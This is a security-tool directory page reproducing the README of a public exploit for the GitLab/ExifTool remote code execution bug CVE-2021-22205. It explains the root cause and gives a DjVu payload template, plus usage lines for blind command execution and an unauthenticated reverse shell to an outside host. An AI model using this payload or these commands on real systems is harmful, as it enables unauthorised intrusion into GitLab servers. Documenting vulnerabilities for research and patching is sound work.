Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-22205 — Unauthenticated RCE in GitLab CE/EE from 11.9 (fixed in 13.8.8, 13.9.6, 13.10.3) via the bundled ExifTool (CVE-2021-22204). Pure-Python DjVu builder, no djvulibre. Unauth and authenticated vectors, non-destructive check. | Kitploit
Tools/GitHubGitHub/d4ytox/cve-2021-22205
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingRemote Access Tool
GitHubd4ytox/cve-2021-22205

CVE-2021-22205

Unauthenticated RCE in GitLab CE/EE from 11.9 (fixed in 13.8.8, 13.9.6, 13.10.3) via the bundled ExifTool (CVE-2021-22204). Pure-Python DjVu builder, no djvulibre. Unauth and authenticated vectors, non-destructive check.

1Nov 10, 2026Not yet reviewed
View RepositoryWebsite
Share

CVE-2021-22205 - GitLab ExifTool command injection

GitLab hands uploaded images to a bundled copy of ExifTool to strip metadata. ExifTool mishandles a DjVu annotation chunk and runs part of it as Perl (CVE-2021-22204), so an uploaded "image" executes commands as the git user. The upload is parsed before the request is authenticated, so no account is needed.

Affects GitLab CE and EE 11.9 through 13.8.7, 13.9 through 13.9.5, and 13.10 through 13.10.2. Fixed in 13.8.8, 13.9.6 and 13.10.3.

The bug

GitLab routes every upload through gitlab-workhorse first. HandleFileUploads in workhorse/internal/upload/uploads.go is called from a PreAuthorizeHandler context, so it runs before any authentication or routing check. When the uploaded file looks like a JPEG or TIFF, workhorse calls down to exif.go, which shells out to ExifTool to remove metadata.

ExifTool treats a file by its content, not its name, so a file sent as x.jpg that actually begins with the DjVu magic AT&TFORM is parsed as DjVu. Image::ExifTool::AIFF::ProcessAIFF walks the IFF chunks and dispatches the ANTa annotation chunk to Image::ExifTool::DjVu::ParseAnt. That parser resolves C escape sequences in a quoted string by handing it straight to eval (DjVu.pm, pre-fix line 233):

# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};

$tok is bytes from the file. The line above it tries to neutralise $ and @ so interpolation cannot reach code, but it never escapes a ". William Bowling's original payload exploits that: a backslash followed by a newline satisfies the parser's "was the quote escaped?" check ($ in the regex matches before a trailing newline), which appends a raw " into the token. The injected quote closes the string early and everything after it is evaluated as Perl:

(metadata
	(Copyright "\
" . qx#COMMAND# . \
" b ") )

qx#...# is a shell command run by Perl. The # is the quote delimiter, which is the only character the command itself cannot contain. ExifTool's own fix in 12.24 removed the eval entirely and replaced it with an eight-entry escape table, so the sink is gone rather than filtered.

GitLab's patch did not touch the pre-auth reachability. It added isTIFF and isJPEG content checks so a DjVu file is rejected before it reaches ExifTool, and it bundled a fixed ExifTool. An unpatched server runs ExifTool on the file and answers 422; a patched one rejects it earlier and answers 404. That difference is what --check reads.

Usage

python3 exploit.py -t http://target --check             # is it vulnerable? drops nothing
python3 exploit.py -t http://target -c 'id'             # unauthenticated, blind
python3 exploit.py -t http://target -s 10.10.14.5 4444  # unauthenticated reverse shell
python3 exploit.py -t http://target -u user -p pass -c 'id' --vector auth

Execution is blind: nothing of the command's output comes back in the HTTP reply. Use -s for a shell, or redirect output somewhere you can reach.

ExifTool runs on a queue, so a command can take a few seconds to fire. A reverse shell holds the connection open.

Vectors

VectorReachable byNotes
unauth (default)anonymousPOSTs the file to a random path at web root. No session, no CSRF token, not a real endpoint.
autha logged-in user (-u/-p)POSTs to /uploads/user with a scraped CSRF token. Only useful where anonymous upload is blocked by something in front of GitLab, since the bug itself needs no login.

Requirements

Python 3 and requests.

Affected versions

FieldValue
CVECVE-2021-22205 (GitLab), chaining CVE-2021-22204 (ExifTool)
AdvisoryGitLab security release, 14 April 2021
Affected>=11.9 <13.8.8 || >=13.9 <13.9.6 || >=13.10 <13.10.3
Fixed in13.8.8, 13.9.6, 13.10.3
ExifTool7.44 through 12.23, fixed in 12.24
CVSS v3.19.9 at release, raised to 10.0 on 21 September 2021 when it was reclassified from authenticated to unauthenticated
CWECWE-94
CISA KEVAdded 3 November 2021

Origin

RoleWho
Reported to GitLab byWilliam Bowling (vakzz), via the GitLab bug bounty programme - HackerOne #1154542
ExifTool fix byPhil Harvey, ExifTool 12.24
Unauthenticated path documented byJacob Baines, Rapid7 - root cause analysis
This implementation byd4ytox

References

  • GitLab security release, 14 April 2021
  • GitLab: action needed in response to CVE-2021-22205 - the affected-version list and the in-the-wild confirmation
  • William Bowling's report, HackerOne #1154542 - the original DjVu payload
  • Rapid7 root cause analysis - why the upload reaches ExifTool before authentication
  • NVD - CVE-2021-22205
  • NVD - CVE-2021-22204 - the ExifTool half
  • The ExifTool 12.24 fix - removes the eval from the DjVu reader

Licence

MIT, see LICENSE. The grant covers this implementation. GitLab and ExifTool carry their own licences

Legal

For authorised testing and research only. Running this against a system you do not own, or do not have written permission to test, is illegal in most places. The exploit uploads a file and executes a command on the target, and it leaves the upload and log entries behind. Remove anything you drop when you are done.

Related Tools

  • metasploit-framework

    Open-source exploitation framework with modular payload, encoder, and auxiliary system for penetration testing, vulnerability validation, and security research across networks and applications.

  • donut

    Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters

  • sRDI

    Shellcode implementation of Reflective DLL Injection. Convert DLLs to position independent shellcode

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    IMSI Catcher platform that deploys a rogue GSM cell to intercept SMS, inject messages and track mobile devices

    721
  • 4

    opencti

    opencti-platform/opencti

    Open Cyber Threat Intelligence Platform

    535
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    424
  • 6

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    419

Explore all tools

Browse our collection of tools

View all tools →
Download Tool